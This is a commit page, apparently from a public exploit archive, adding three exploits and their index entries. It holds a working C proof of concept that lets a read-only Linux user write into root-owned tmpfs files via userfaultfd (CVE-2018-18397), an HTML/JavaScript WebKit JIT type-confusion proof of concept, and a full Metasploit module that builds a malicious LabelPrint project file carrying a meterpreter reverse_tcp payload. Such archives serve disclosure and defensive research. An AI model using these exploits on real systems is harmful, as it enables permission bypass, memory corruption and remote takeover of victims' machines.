DB: 2018-12-14
3 changes to exploits/shellcodes Linux - 'userfaultfd' Bypasses tmpfs File Permissions WebKit JIT - Int32/Double Arrays can have Proxy Objects in the Prototype Chains CyberLink LabelPrint 2.5 - Stack Buffer Overflow (Metasploit)
This commit is contained in:
parent
25e5c32779
commit
04a490a7c2
4 changed files with 434 additions and 0 deletions
149
exploits/linux/dos/45983.txt
Normal file
149
exploits/linux/dos/45983.txt
Normal file
|
@ -0,0 +1,149 @@
|
|||
Using the userfaultfd API, it is possible to first register a
|
||||
userfaultfd region for any VMA that fulfills vma_can_userfault():
|
||||
It must be an anonymous VMA (->vm_ops==NULL), a hugetlb VMA
|
||||
(VM_HUGETLB), or a shmem VMA (->vm_ops==shmem_vm_ops). This means that
|
||||
it is, for example, possible to register userfaulfd regions for shared
|
||||
readonly mappings of tmpfs files.
|
||||
|
||||
Afterwards, the userfaultfd API can be used on such a region to
|
||||
(atomically) write data into holes in the file's mapping. This API
|
||||
also works on readonly shared mappings.
|
||||
|
||||
This means that an attacker with read-only access to a tmpfs file that
|
||||
contains holes can write data into holes in the file.
|
||||
|
||||
Reproducer:
|
||||
|
||||
First, as root:
|
||||
=====================
|
||||
root@debian:~# cd /dev/shm
|
||||
root@debian:/dev/shm# umask 0022
|
||||
root@debian:/dev/shm# touch uffd_test
|
||||
root@debian:/dev/shm# truncate --size=4096 uffd_test
|
||||
root@debian:/dev/shm# ls -l uffd_test
|
||||
-rw-r--r-- 1 root root 4096 Oct 16 19:25 uffd_test
|
||||
root@debian:/dev/shm# hexdump -C uffd_test
|
||||
00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
|
||||
*
|
||||
00001000
|
||||
root@debian:/dev/shm#
|
||||
=====================
|
||||
|
||||
Then, as a user (who has read access, but not write access, to that
|
||||
file):
|
||||
=====================
|
||||
user@debian:~/uffd$ cat uffd_demo.c
|
||||
#define _GNU_SOURCE
|
||||
#include <fcntl.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <linux/userfaultfd.h>
|
||||
#include <err.h>
|
||||
#include <sys/ioctl.h>
|
||||
#include <sys/mman.h>
|
||||
#include <stdio.h>
|
||||
|
||||
static int uffd;
|
||||
static void *uf_mapping;
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
int rw_open_res = open("/dev/shm/uffd_test", O_RDWR);
|
||||
if (rw_open_res == -1)
|
||||
perror("can't open for writing as expected");
|
||||
else
|
||||
errx(1, "unexpected write open success");
|
||||
|
||||
int mfd = open("/dev/shm/uffd_test", O_RDONLY);
|
||||
if (mfd == -1) err(1, "tmpfs open");
|
||||
uf_mapping = mmap(NULL, 0x1000, PROT_READ, MAP_SHARED, mfd, 0);
|
||||
if (uf_mapping == (void*)-1) err(1, "shmat");
|
||||
|
||||
// Documentation for userfaultfd:
|
||||
// http://man7.org/linux/man-pages/man2/userfaultfd.2.html
|
||||
// http://man7.org/linux/man-pages/man2/ioctl_userfaultfd.2.html
|
||||
// https://blog.lizzie.io/using-userfaultfd.html
|
||||
uffd = syscall(__NR_userfaultfd, 0);
|
||||
if (uffd == -1) err(1, "userfaultfd");
|
||||
struct uffdio_api api = { .api = 0xAA, .features = 0 };
|
||||
if (ioctl(uffd, UFFDIO_API, &api)) err(1, "API");
|
||||
|
||||
struct uffdio_register reg = {
|
||||
.range = {
|
||||
.start = (unsigned long)uf_mapping,
|
||||
.len = 0x1000
|
||||
},
|
||||
.mode = UFFDIO_REGISTER_MODE_MISSING
|
||||
};
|
||||
if (ioctl(uffd, UFFDIO_REGISTER, ®)) err(1, "REGISTER");
|
||||
|
||||
char buf[0x1000] = {'A', 'A', 'A', 'A'};
|
||||
struct uffdio_copy copy = {
|
||||
.dst = (unsigned long)uf_mapping,
|
||||
.src = (unsigned long)buf,
|
||||
.len = 0x1000,
|
||||
.mode = 0
|
||||
};
|
||||
if (ioctl(uffd, UFFDIO_COPY, ©)) err(1, "copy");
|
||||
if (copy.copy != 0x1000) errx(1, "copy len");
|
||||
|
||||
printf("x: 0x%08x\n", *(unsigned int*)uf_mapping);
|
||||
return 0;
|
||||
}
|
||||
user@debian:~/uffd$ gcc -o uffd_demo uffd_demo.c -Wall
|
||||
user@debian:~/uffd$ ./uffd_demo
|
||||
can't open for writing as expected: Permission denied
|
||||
x: 0x41414141
|
||||
user@debian:~/uffd$
|
||||
=====================
|
||||
|
||||
And now again as root:
|
||||
=====================
|
||||
root@debian:/dev/shm# hexdump -C uffd_test
|
||||
00000000 41 41 41 41 00 00 00 00 00 00 00 00 00 00 00 00 |AAAA............|
|
||||
00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
|
||||
*
|
||||
00001000
|
||||
=====================
|
||||
|
||||
|
||||
I asked MITRE for a CVE when I started writing the bug report, and
|
||||
they've already given me CVE-2018-18397.
|
||||
|
||||
|
||||
By the way, another interesting thing: Apparently userfaultfd even
|
||||
lets you write beyond the end of the file, and the writes become
|
||||
visible if the file is subsequently truncated to a bigger size?
|
||||
That seems wrong.
|
||||
|
||||
As root, create an empty file:
|
||||
=====================
|
||||
root@debian:/dev/shm# rm uffd_test
|
||||
root@debian:/dev/shm# touch uffd_test
|
||||
root@debian:/dev/shm# ls -l uffd_test
|
||||
-rw-r--r-- 1 root root 0 Oct 16 19:44 uffd_test
|
||||
root@debian:/dev/shm#
|
||||
=====================
|
||||
|
||||
Now as a user, use userfaultfd to write into it:
|
||||
=====================
|
||||
user@debian:~/uffd$ ./uffd_demo
|
||||
can't open for writing as expected: Permission denied
|
||||
x: 0x41414141
|
||||
user@debian:~/uffd$
|
||||
=====================
|
||||
|
||||
Afterwards, to root, the file still looks empty, until it is truncated
|
||||
to a bigger size:
|
||||
=====================
|
||||
root@debian:/dev/shm# ls -l uffd_test
|
||||
-rw-r--r-- 1 root root 0 Oct 16 19:44 uffd_test
|
||||
root@debian:/dev/shm# hexdump -C uffd_test
|
||||
root@debian:/dev/shm# truncate --size=4096 uffd_test
|
||||
root@debian:/dev/shm# hexdump -C uffd_test
|
||||
00000000 41 41 41 41 00 00 00 00 00 00 00 00 00 00 00 00 |AAAA............|
|
||||
00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
|
||||
*
|
||||
00001000
|
||||
root@debian:/dev/shm#
|
||||
=====================
|
116
exploits/multiple/dos/45984.html
Normal file
116
exploits/multiple/dos/45984.html
Normal file
|
@ -0,0 +1,116 @@
|
|||
<!--
|
||||
Bug:
|
||||
void JSObject::setPrototypeDirect(VM& vm, JSValue prototype)
|
||||
{
|
||||
ASSERT(prototype);
|
||||
if (prototype.isObject())
|
||||
prototype.asCell()->didBecomePrototype();
|
||||
|
||||
if (structure(vm)->hasMonoProto()) {
|
||||
DeferredStructureTransitionWatchpointFire deferred(vm, structure(vm));
|
||||
Structure* newStructure = Structure::changePrototypeTransition(vm, structure(vm), prototype, deferred);
|
||||
setStructure(vm, newStructure);
|
||||
} else
|
||||
putDirect(vm, knownPolyProtoOffset, prototype);
|
||||
|
||||
if (!anyObjectInChainMayInterceptIndexedAccesses(vm))
|
||||
return;
|
||||
|
||||
if (mayBePrototype()) {
|
||||
structure(vm)->globalObject()->haveABadTime(vm);
|
||||
return;
|
||||
}
|
||||
|
||||
if (!hasIndexedProperties(indexingType()))
|
||||
return;
|
||||
|
||||
if (shouldUseSlowPut(indexingType()))
|
||||
return;
|
||||
|
||||
switchToSlowPutArrayStorage(vm);
|
||||
}
|
||||
|
||||
JavaScriptCore doesn't allow native arrays to have Proxy objects as prototypes. If we try to set the prototype of an array to a Proxy object, it will end up calling either switchToSlowPutArrayStorage or haveABadTime in the above method. switchToSlowPutArrayStorage will transition the array to a SlowPutArrayStorage array. And haveABadTime will call switchToSlowPutArrayStorage on every object in the VM on a first call. Since subsequent calls to haveABadTime won't have any effect, with two global objects we can create an array having a Proxy object in the prototype chain.
|
||||
|
||||
Exploit:
|
||||
case HasIndexedProperty: {
|
||||
ArrayMode mode = node->arrayMode();
|
||||
|
||||
switch (mode.type()) {
|
||||
case Array::Int32:
|
||||
case Array::Double:
|
||||
case Array::Contiguous:
|
||||
case Array::ArrayStorage: {
|
||||
break;
|
||||
}
|
||||
default: {
|
||||
clobberWorld();
|
||||
break;
|
||||
}
|
||||
}
|
||||
setNonCellTypeForNode(node, SpecBoolean);
|
||||
break;
|
||||
}
|
||||
|
||||
From: https://github.com/WebKit/webkit/blob/9ca43a5d4bd8ff63ee7293cac8748d564bd7fbbd/Source/JavaScriptCore/dfg/DFGAbstractInterpreterInlines.h#L3481
|
||||
|
||||
The above routine is based on the assumption that if the input array is a native array, it can't intercept indexed accesses therefore it will have no side effects. But actually we can create such arrays which break that assumption making it exploitable.
|
||||
|
||||
PoC:
|
||||
-->
|
||||
|
||||
<body>
|
||||
<script>
|
||||
|
||||
function opt(arr, arr2) {
|
||||
arr[1] = 1.1;
|
||||
|
||||
let tmp = 0 in arr2;
|
||||
|
||||
arr[0] = 2.3023e-320;
|
||||
|
||||
return tmp;
|
||||
}
|
||||
|
||||
function main() {
|
||||
let o = document.body.appendChild(document.createElement('iframe')).contentWindow;
|
||||
|
||||
// haveABadTime
|
||||
o.eval(`
|
||||
let p = new Proxy({}, {});
|
||||
let a = {__proto__: {}};
|
||||
a.__proto__.__proto__ = p;
|
||||
`);
|
||||
|
||||
let arr = [1.1, 2.2];
|
||||
let arr2 = [1.1, 2.2];
|
||||
|
||||
let proto = new o.Object();
|
||||
let handler = {};
|
||||
|
||||
arr2.__proto__ = proto;
|
||||
proto.__proto__ = new Proxy({}, {
|
||||
has() {
|
||||
arr[0] = {};
|
||||
|
||||
return true;
|
||||
}
|
||||
});
|
||||
|
||||
for (let i = 0; i < 10000; i++) {
|
||||
opt(arr, arr2);
|
||||
}
|
||||
|
||||
setTimeout(() => {
|
||||
delete arr2[0];
|
||||
|
||||
opt(arr, arr2);
|
||||
|
||||
alert(arr[0]);
|
||||
}, 500);
|
||||
}
|
||||
|
||||
main();
|
||||
|
||||
</script>
|
||||
</body>
|
166
exploits/windows/local/45985.rb
Executable file
166
exploits/windows/local/45985.rb
Executable file
|
@ -0,0 +1,166 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::FILEFORMAT
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "CyberLink LabelPrint 2.5 Stack Buffer Overflow",
|
||||
'Description' => %q{
|
||||
This module exploits a stack buffer overflow in CyberLink LabelPrint 2.5 and below.
|
||||
The vulnerability is triggered when opening a .lpp project file containing overly long string characters
|
||||
via open file menu. This results in overwriting a structured exception handler record and take over the
|
||||
application. This module has been tested on Windows 7 (64 bit), Windows 8.1 (64 bit), and Windows 10 (64 bit).
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'modpr0be <tom@spentera.id>', # initial discovery and metasploit module
|
||||
'f3ci <marie@spentera.id>' # unicode kungfu
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2017-14627' ],
|
||||
[ 'EDB', '42777' ]
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'FILENAME' => 'msf.lpp',
|
||||
'EXITFUNC' => 'seh',
|
||||
'DisablePayloadHandler' => 'true',
|
||||
'PAYLOAD' => 'windows/meterpreter/reverse_tcp'
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
['CyberLink LabelPrint <= 2.5 on Windows 7 (64 bit)',
|
||||
{
|
||||
'Ret' => "\x2c\x44",
|
||||
'Offset' => 790,
|
||||
'Padding1' => 857,
|
||||
'Padding2' => 104
|
||||
}
|
||||
],
|
||||
['CyberLink LabelPrint <= 2.5 on Windows 8.1 x64',
|
||||
{
|
||||
'Ret' => "\x2c\x44",
|
||||
'Offset' => 790,
|
||||
'Padding1' => 845,
|
||||
'Padding2' => 116
|
||||
}
|
||||
],
|
||||
['CyberLink LabelPrint <= 2.5 on Windows 10 x64 build 1803',
|
||||
{
|
||||
'Ret' => "\x2c\x44",
|
||||
'Offset' => 790,
|
||||
'Padding1' => 781,
|
||||
'Padding2' => 180
|
||||
}
|
||||
],
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 15000,
|
||||
'DisableNops' => true
|
||||
},
|
||||
'DisclosureDate' => 'Sep 23 2017',
|
||||
'DefaultTarget' => 0))
|
||||
end
|
||||
|
||||
def get_payload(hunter)
|
||||
enc = framework.encoders.create('x86/unicode_mixed')
|
||||
enc.datastore.import_options_from_hash({ 'BufferRegister' => 'EAX' })
|
||||
hunter = enc.encode(hunter, nil, nil, platform)
|
||||
end
|
||||
|
||||
def exploit
|
||||
nop = "\x42"
|
||||
junk = 'ABC'.split('').sample #junk must specifically static (A, B, and C only)
|
||||
buffer = ""
|
||||
buffer << junk * target['Offset']
|
||||
buffer << "\x61\x42" # nseh
|
||||
buffer << target['Ret'] # seh
|
||||
|
||||
#we need to encode the RET address, since RET (\xc3) is known as bad char.
|
||||
#preparing address to land the decoded RET
|
||||
buffer << nop #nop/inc edx
|
||||
buffer << "\x54" #push esp
|
||||
buffer << nop #nop/inc edx
|
||||
buffer << "\x58" #pop eax
|
||||
buffer << nop #nop/inc edx
|
||||
buffer << "\x05\x1B\x01" #add eax 01001B00
|
||||
buffer << nop #nop/inc edx
|
||||
buffer << "\x2d\x01\x01" #sub eax 01001000
|
||||
buffer << nop #nop/inc edx
|
||||
buffer << "\x50" #push eax
|
||||
buffer << nop #nop/inc edx
|
||||
buffer << "\x5c" #pop esp
|
||||
|
||||
#preparing RET opcode (c300c300)
|
||||
buffer << nop #nop/inc edx
|
||||
buffer << "\x25\x7e\x7e" #and eax,7e007e00
|
||||
buffer << nop #nop/inc edx
|
||||
buffer << "\x25\x01\x01" #and eax,01000100
|
||||
buffer << nop #nop/inc edx
|
||||
buffer << "\x35\x7f\x7f" #xor eax,7f007f00
|
||||
buffer << nop #nop/inc edx
|
||||
buffer << "\x05\x44\x44" #add eax,44004400
|
||||
buffer << nop #nop/inc edx
|
||||
buffer << "\x57" #push edi as padding, needed to align stack
|
||||
buffer << nop #nop/inc edx
|
||||
buffer << "\x50" #push eax
|
||||
buffer << junk * target['Padding1'] #OS specific
|
||||
|
||||
#custom venetian to reach shellcode
|
||||
buffer << "\x58" #pop eax
|
||||
buffer << nop #nop/inc edx
|
||||
buffer << "\x58" #pop eax
|
||||
buffer << nop #nop/inc edx
|
||||
buffer << "\x05\x09\x01" #depending OS
|
||||
buffer << nop #nop/inc edx
|
||||
buffer << "\x2d\x01\x01" #add eax, 01000100, this will align eax to our buffer
|
||||
buffer << nop #nop/inc edx
|
||||
buffer << "\x50" #push eax
|
||||
buffer << nop #nop/inc edx
|
||||
|
||||
#crafting call esp at 0x7c32537b (MFC71U.dll) to make a jump using call esp
|
||||
buffer << "\x5C" #pop esp
|
||||
buffer << nop #nop/inc edx
|
||||
buffer << "\x58" #pop eax
|
||||
buffer << nop #nop/inc edx
|
||||
buffer << "\x05\x53\x7c" #add eax 7c005300 part of call esp
|
||||
buffer << nop #nop/inc edx
|
||||
buffer << "\x50" #push eax
|
||||
buffer << junk * target['Padding2'] #OS specific
|
||||
buffer << "\x7b\x32" #part of call esp
|
||||
|
||||
#preparing for jump to shellcode, placing in eax.
|
||||
buffer << junk * 114 #junk
|
||||
buffer << "\x57" #push edi
|
||||
buffer << nop #nop/inc edx
|
||||
buffer << "\x58" #pop eax
|
||||
buffer << nop #nop/inc edx
|
||||
buffer << "\x05\x0A\x01" #depending OS
|
||||
buffer << nop #nop/inc edx
|
||||
buffer << "\x2d\x01\x01" #sub eax,01000100
|
||||
buffer << nop #nop/inc edx
|
||||
buffer << get_payload(payload.encoded)
|
||||
buffer << junk * (payload.space-buffer.length) #fill the rest of buffer, must be added.
|
||||
|
||||
lpp_data = <<-EOS
|
||||
<PROJECT version="1.0.00">
|
||||
<INFORMATION title="" author="" date="#{rand(1..12)}/#{rand(1..28)}/#{(1970..2020).to_a.sample}" SystemTime="#{rand(1..12)}/#{rand(1..28)}/#{(1970..2020).to_a.sample}">
|
||||
<TRACK name="#{buffer}" />
|
||||
</INFORMATION>
|
||||
</PROJECT>
|
||||
EOS
|
||||
|
||||
print_status("Creating '#{datastore['FILENAME']}' file ...")
|
||||
file_create(lpp_data)
|
||||
end
|
||||
end
|
|
@ -6210,6 +6210,8 @@ id,file,description,date,author,type,platform,port
|
|||
45956,exploits/windows_x86/dos/45956.py,"Textpad 8.1.2 - Denial Of Service (PoC)",2018-12-09,"Gionathan Reale",dos,windows_x86,
|
||||
45966,exploits/windows/dos/45966.py,"SmartFTP Client 9.0.2623.0 - Denial of Service (PoC)",2018-12-11,"Alejandra Sánchez",dos,windows,
|
||||
45968,exploits/windows/dos/45968.py,"LanSpy 2.0.1.159 - Local Buffer Overflow (PoC)",2018-12-11,"Gionathan Reale",dos,windows,
|
||||
45983,exploits/linux/dos/45983.txt,"Linux - 'userfaultfd' Bypasses tmpfs File Permissions",2018-12-13,"Google Security Research",dos,linux,
|
||||
45984,exploits/multiple/dos/45984.html,"WebKit JIT - Int32/Double Arrays can have Proxy Objects in the Prototype Chains",2018-12-13,"Google Security Research",dos,multiple,
|
||||
3,exploits/linux/local/3.c,"Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Local Privilege Escalation",2003-03-30,"Wojciech Purczynski",local,linux,
|
||||
4,exploits/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Local Buffer Overflow",2003-04-01,Andi,local,solaris,
|
||||
12,exploits/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,local,linux,
|
||||
|
@ -10142,6 +10144,7 @@ id,file,description,date,author,type,platform,port
|
|||
45953,exploits/unix/local/45953.rb,"Emacs - movemail Privilege Escalation (Metasploit)",2018-12-04,Metasploit,local,unix,
|
||||
45960,exploits/multiple/local/45960.txt,"XNU - POSIX Shared Memory Mappings have Incorrect Maximum Protection",2018-12-11,"Google Security Research",local,multiple,
|
||||
45961,exploits/windows/local/45961.txt,"McAfee True Key - McAfee.TrueKey.Service Privilege Escalation",2018-12-11,"Google Security Research",local,windows,
|
||||
45985,exploits/windows/local/45985.rb,"CyberLink LabelPrint 2.5 - Stack Buffer Overflow (Metasploit)",2018-12-13,Metasploit,local,windows,
|
||||
1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",2003-03-23,kralor,remote,windows,80
|
||||
2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",2003-03-24,RoMaNSoFt,remote,windows,80
|
||||
5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",2003-04-03,"Marcin Wolak",remote,windows,139
|
||||
|
|
Can't render this file because it is too large.
|
Loading…
Add table
Reference in a new issue